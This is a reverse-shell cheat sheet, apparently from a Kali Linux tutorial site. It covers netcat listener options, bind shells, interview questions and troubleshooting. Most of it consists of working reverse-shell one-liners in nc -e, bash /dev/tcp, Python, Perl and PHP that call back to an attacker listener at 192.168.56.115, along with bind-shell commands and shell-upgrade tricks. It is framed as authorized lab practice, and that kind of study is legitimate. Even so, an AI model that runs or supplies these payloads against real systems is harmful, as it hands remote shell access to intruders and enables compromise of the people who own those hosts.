Reverse Shell Cheat Sheet: Netcat, Bash, Python, and PHP

Deepak Prasad
Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package netcat-traditional 1.10-50.1 (nc)
bash 5.3.9
python3 3.13.12
perl 5.40.1
php 8.4.23
Applies to Kali Linux
Privilege Normal user on Kali for listeners; code execution on the victim host for callbacks
Man page nc(1) (netcat-traditional)
Scope Netcat listeners and reverse-shell one-liners (bash, Python, Perl, PHP), bind shells, and reading listener output in an authorized lab. Does not cover Metasploit staged payloads, msfvenom encoders, or persistence.

A reverse shell connects from a compromised host back to your listener. A bind shell opens a port on the victim and waits for you to connect. This cheat sheet maps netcat-traditional options from nc(1) to lab listeners and one-liner callbacks used in ethical hacking practice.

Set your listener address once on Kali (host-only eth1 in the standard lab):

bash
export LHOST=192.168.56.115
export LPORT=5555
IMPORTANT
Use these techniques only on systems you own or are explicitly authorized to test. Reverse shells are post-exploitation tools — running them against production hosts without permission is illegal.

Reverse shell — quick reference

Options below match nc -h and nc(1) on Kali (netcat-traditional 1.10-50.1). netcat-openbsd on some distros omits -e and -c — use bash /dev/tcp or Python callbacks there.

Connect (client mode)

Outbound TCP or UDP to a host and port.

When to use Command
TCP connect to a listener nc HOST PORT
Verbose connect (shows open/refused) nc -v HOST PORT
Skip DNS lookups nc -n -v HOST PORT
UDP connect nc -u -v HOST PORT
Bind local source address nc -s LOCAL_IP -v HOST PORT
Randomize local and remote ports nc -r -v HOST PORT

Listen (server mode)

Inbound connections on a local port (-l requires -p).

When to use Command
TCP listener on lab port nc -l -p PORT -v
Listener without DNS delay nc -l -p PORT -n -v
Execute program after connect (-e) nc -l -p PORT -e /bin/bash -v
Run shell command after connect (-c) nc -l -p PORT -c 'id' -v
Keep listening after client disconnect (-k) nc -l -p PORT -k -v
UDP listener nc -l -u -p PORT -v
Allow UDP broadcasts nc -l -u -b -p PORT -v

Port scan and probe (-z)

Zero-I/O mode reports port state without sending application data.

When to use Command
Probe one TCP port nc -z -v HOST PORT
Scan a port range nc -z -v HOST PORT_START-PORT_END
UDP port probe nc -z -u -v HOST PORT

Timeouts and pacing (-w, -q, -i)

When to use Command
Connect/read timeout (seconds) nc -w SECS -v HOST PORT
Quit after EOF on stdin plus delay nc -q SECS HOST PORT
Quit after EOF, wait forever on network nc -q -1 HOST PORT
Delay between lines or scan steps nc -i SECS -v HOST PORT

Logging and verbosity (-o, -v, -n)

When to use Command
Hex dump traffic to a file nc -l -p PORT -o /tmp/capture.hex -v
Extra verbose (use -v twice) nc -vv HOST PORT
Numeric IPs only (no DNS) nc -n HOST PORT

Routing, TTY, and line endings (-s, -g, -G, -t, -C, -T)

When to use Command
Source-routing hop (up to 8) nc -g GATEWAY HOST PORT
Source-routing pointer (4, 8, 12…) nc -G NUM -g GATEWAY HOST PORT
Answer TELNET negotiation nc -t HOST PORT
Send CRLF line endings nc -C HOST PORT
Set IP TOS (Minimize-Delay, etc.) nc -T Minimize-Delay HOST PORT

Netcat reverse shell (-e on victim)

When to use Command
Linux callback with bash nc LHOST LPORT -e /bin/bash
Windows callback with cmd nc LHOST LPORT -e cmd.exe

Bash /dev/tcp reverse shell

When to use Command
Bash on victim, no nc required bash -i >& /dev/tcp/LHOST/LPORT 0>&1
One-shot from bash -c bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

Python, Perl, and PHP callbacks

When to use Command
Python 3 on victim python3 -c 'import socket,subprocess,os;...' (see examples)
Perl on victim perl -e 'use Socket;...' (see examples)
PHP CLI on victim php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Bind shell pattern

When to use Command
Victim listens; attacker connects Victim: nc -l -p PORT -e /bin/bash — Attacker: nc VICTIM_IP PORT

Reverse shell — command syntax

Synopsis from nc -h on Kali:

text
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound:   nc -l -p port [-options] [hostname] [port]

Options from nc(1) (netcat-traditional):

Flag Purpose
-c string Run /bin/sh -c string after connect (dangerous)
-e filename Exec program after connect (dangerous)
-g gateway Source-routing hop point, up to 8 hops
-G num Source-routing pointer (4, 8, 12, …)
-h Print help
-i secs Delay between lines sent or ports scanned
-k Keep listening after client disconnect (listen mode)
-l Listen for inbound connections
-n Numeric-only addresses, no DNS
-o file Hex dump of traffic to file
-p port Local port (listen mode or local bind)
-q secs After EOF on stdin, wait secs then quit (-1 = forever)
-b Allow UDP broadcasts (with -u)
-r Randomize local and remote ports
-s addr Local source address
-t Answer TELNET negotiation
-u UDP mode
-v Verbose (twice for more detail)
-w secs Timeout for connect and final network reads
-C Send CRLF as line-ending
-z Zero-I/O mode (port scanning)
-T type Set TOS: Minimize-Delay, Maximize-Throughput, Maximize-Reliability, Minimize-Cost

Port arguments can be single ports or inclusive ranges lo-hi. Hyphens in service names from /etc/services must be escaped (for example ftp\-data).

Callbacks use whatever interpreter the victim already has (bash, python3, php, perl). Your Kali listener only needs an open TCP port unless you exercise UDP or scan flags above.


Reverse shell — command examples

Essential Start a Netcat TCP listener

Open a listener on Kali before any reverse-shell one-liner runs on the victim. Success prints listening on [any] PORT ... and later connect to [...] when the callback arrives.

bash
nc -l -p "$LPORT" -v
output
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42514

Leave this terminal open while you trigger callbacks from the victim or a second shell on Kali.

Essential Listen without DNS lookups

Use -n when you want numeric addresses only and want to skip resolver delays on a lab LAN.

bash
nc -l -p 5999 -n -v

In a second shell, send test traffic:

bash
echo test | nc -n -v 127.0.0.1 5999
output
listening on [any] 5999 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 39766
test

The (UNKNOWN) host label is normal when -n disables reverse DNS on the listener side.

Essential Netcat reverse shell with -e

When the victim ships netcat-traditional (or any nc with -e), the victim connects back and attaches a program to the socket.

Start the listener on Kali:

bash
nc -l -p "$LPORT" -v

On the victim (or loopback on Kali for practice):

bash
nc "$LHOST" "$LPORT" -e /bin/bash

The listener prints a connect to [...] line, then a shell prompt. Job-control warnings such as cannot set terminal process group are common on non-TTY callbacks.

Essential Bash reverse shell without Netcat

Bash opens TCP through /dev/tcp when nc is missing or lacks -e.

Listener on Kali:

bash
nc -l -p 6666 -v

On the victim:

bash
LHOST=192.168.56.115 LPORT=6666 bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
output
listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 33410
bash: cannot set terminal process group (5214): Inappropriate ioctl for device
bash: no job control in this shell

Connection refused means no listener or a wrong LHOST/LPORT pair.

Common Confirm bash path before callbacks

One-liners often hard-code /bin/bash. Some images use /usr/bin/bash.

On the victim:

bash
which bash
output
/usr/bin/bash

Swap the path inside nc -e, Python subprocess.call, Perl exec, or PHP exec when which shows a non-default location.

Common Python 3 reverse shell one-liner

Python is common on Linux servers. This pattern duplicates socket dup2 plus an interactive bash.

Listener on Kali:

bash
nc -l -p 4444 -v

Victim one-liner (replace IP and port):

bash
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.56.115",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

If the socket connects but the shell exits immediately, fix the bash path from which bash on the victim.

Common Perl reverse shell one-liner

Use Perl when Python is absent but perl remains on the target.

Listener:

bash
nc -l -p 7777 -v

Victim:

bash
perl -e 'use Socket;$i="192.168.56.115";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

A successful callback shows the same connect to [...] line on the listener as other one-liners.

Common PHP reverse shell one-liner

PHP CLI callbacks appear in web post-exploitation labs when php is installed.

Listener:

bash
nc -l -p 8888 -v

Victim:

bash
php -r '$sock=fsockopen("192.168.56.115",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

For web-only shells, upload a small PHP file when command length limits block long -r strings.

Common Probe a TCP port with -z

Zero-I/O mode checks whether a port accepts TCP without sending shell traffic — useful before bind-shell or service checks.

bash
nc -z -v 127.0.0.1 22
output
localhost [127.0.0.1] 22 (ssh) open

Closed ports report Connection refused or (ssh) failed depending on verbose output.

Common Set connect timeout with -w

-w limits how long nc waits on connect and final reads — helpful when a firewall blackholes traffic.

Start a short-lived listener:

bash
nc -l -p 5997 -w 3 -v

Connect with a two-second timeout:

bash
nc -w 2 -v 127.0.0.1 5997
output
localhost [127.0.0.1] 5997 (?) open

Hung or filtered hosts stop waiting after SECS instead of blocking indefinitely.

Common Log traffic with -o hex dump

-o writes a hex dump of every byte — useful when you need proof of callback bytes in a lab report.

bash
nc -l -p 5988 -o /tmp/nc-traffic.hex -v

In another shell:

bash
printf 'hello\n' | nc 127.0.0.1 5988

Sample dump file:

output
< 00000000 68 65 6c 6c 6f 0a                               # hello.

The < prefix marks bytes read from the network side of the connection.

Advanced Netcat bind shell on the victim

A bind shell listens on the victim. You connect from Kali instead of waiting for egress.

On the victim:

bash
nc -l -p 9999 -e /bin/bash -v

From Kali:

bash
echo id | nc 192.168.56.114 9999
output
uid=0(root) gid=0(root) groups=0(root)

Bind shells fail when host firewalls block inbound high ports — reverse shells are usually easier on modern networks.

Advanced Run a command with -c after connect

-c passes a string to /bin/sh -c after connect — lighter than -e when you only need one command.

bash
nc -l -p 5970 -c 'id' -v

Client:

bash
nc -v 127.0.0.1 5970
output
listening on [any] 5970 ...
localhost [127.0.0.1] 5970 (?) open
connect to [127.0.0.1] from localhost [127.0.0.1] 51848
uid=0(root) gid=0(root) groups=0(root)

For full shells, prefer -e /bin/bash or interpreter one-liners instead of -c.

Advanced Close after stdin EOF with -q

-q waits after stdin EOF before quitting — useful for scripted sends that should disconnect cleanly.

bash
nc -l -p 5996 -q 1 -v

Send one line from another shell:

bash
echo done | nc 127.0.0.1 5996

The client exits after EOF; the listener closes about one second later when -q 1 elapses. Use -q -1 to keep the network side open until the remote peer closes.

Advanced UDP connect with -u

UDP mode uses -u for datagram sockets — different from default TCP reverse shells.

bash
nc -u -v 127.0.0.1 53
output
localhost [127.0.0.1] 53 (domain) open

UDP listeners use nc -l -u -p PORT. Add -b when you need broadcast reception. Most reverse-shell labs use TCP; UDP is mainly for service checks and debugging.

Advanced Keep listening with -k

-k tells the listener to accept another connection after the first client disconnects (traditional netcat only).

bash
nc -l -p 5980 -k -v

First client:

bash
nc -v 127.0.0.1 5980

After the first session ends, connect again with the same client command. If the second attempt shows Connection refused, the listener process may have exited — restart it or verify your netcat build supports -k.


Reverse shell — when to use / when not

Use these one-liners when Use something else when
You need a quick lab callback after command execution on Metasploitable 2 You need staged MeterpreterMetasploit tutorial
The victim has bash, python3, php, or perl but no full toolkit You need encrypted C2 — dedicated frameworks or TLS-wrapped payloads
You are documenting manual post-exploitation steps in a report You need web-only delivery — file upload or WordPress reverse shell
netcat-traditional with -e or -c is on the victim Victim has openbsd nc only — use bash /dev/tcp or Python instead

Reverse shell vs bind shell

Reverse shell Bind shell
Connection direction Victim → attacker listener Attacker → victim listener
Firewall friendliness Outbound often allowed Inbound to victim often blocked
Attacker setup nc -l -p PORT on Kali Victim runs nc -l; attacker connects
Typical lab use Default after RCE on internal host Legacy services or firewall demos

Both give command execution; reverse shells match most egress-filtered networks.


Reverse shell — interview corner

What is a reverse shell?

A reverse shell is a command shell that connects from the compromised host back to the attacker. The attacker runs a listener (for example nc -l -p 4444). The victim executes a one-liner that opens a TCP socket to the attacker and attaches stdin/stdout/stderr to /bin/bash or cmd.exe.

A strong answer is:

"The victim initiates TCP to my listener; I get a shell session without opening an inbound port on their firewall."

What is the difference between a reverse shell and a bind shell?

A reverse shell calls the attacker. A bind shell listens on the victim for the attacker to connect. Reverse shells work better when inbound connections to random high ports are blocked.

A strong answer is:

"Reverse: victim connects out. Bind: victim listens. I default to reverse on modern networks."

Why does my bash reverse shell say Connection refused?

Connection refused means nothing is listening on LHOST:LPORT — start nc -l -p PORT first, verify LHOST is reachable from the victim, and confirm no host firewall blocks the port. Connection timed out often means a network filter or wrong IP.

A strong answer is:

"Refused = no listener or wrong port. Timeout = routing or firewall. I verify listener, IP, and lab NIC before blaming the one-liner."

Why does nc -e fail on some Linux systems?

Debian and Ubuntu often ship netcat-openbsd, which does not support -e. Kali’s netcat-traditional supports -e and -c. When -e is missing, use bash -i >& /dev/tcp/HOST/PORT or a Python one-liner instead.

A strong answer is:

"I check which nc package is installed — openbsd nc has no -e; I fall back to bash /dev/tcp or Python."

How do you improve a dumb reverse shell?

Raw callbacks lack history, tab completion, and clean Ctrl-C handling. Wrap the listener with rlwrap nc -l -p PORT -v when rlwrap is installed, or upgrade to a Metasploit shellmeterpreter session when the lab allows.

A strong answer is:

"rlwrap on the listener for readline; or migrate to Meterpreter / proper PTY for full TTY — raw nc is proof of execution, not a finished operator shell."


Reverse shell troubleshooting

Symptom Likely cause Fix
Connection refused on victim Listener not running or wrong port Start nc -l -p "$LPORT" -v on Kali; match LPORT
Connection timed out Wrong LHOST, routing, or firewall Use host-only IP (eth1); ping Kali from victim
Listener connects, shell exits instantly Wrong shell path which bash; fix path in one-liner
nc: invalid option -- 'e' openbsd netcat on victim Use bash /dev/tcp or Python callback
Garbled or no echo in shell No TTY on callback rlwrap on listener; python3 -c 'import pty;pty.spawn("/bin/bash")' on victim
Bind shell works locally only Firewall blocks inbound to victim Prefer reverse shell or open lab port in VM network
-z shows closed but service runs Wrong protocol or filtered port Retry with -u for UDP services; confirm port number

References

Kennedy Muthii

Information Security Analyst

Accomplished professional proficient in Python, ethical hacking, Linux, cybersecurity, and OSINT. With a track record including winning a national cybersecurity contest, launching a startup in Kenya, and holding a degree in information science, he is currently engaged in cutting-edge research in ethical hacking.

  • Python (programming language)
  • Certified Ethical Hacker
  • White Hat (Computer Security)
  • Linux
  • Penetration Testing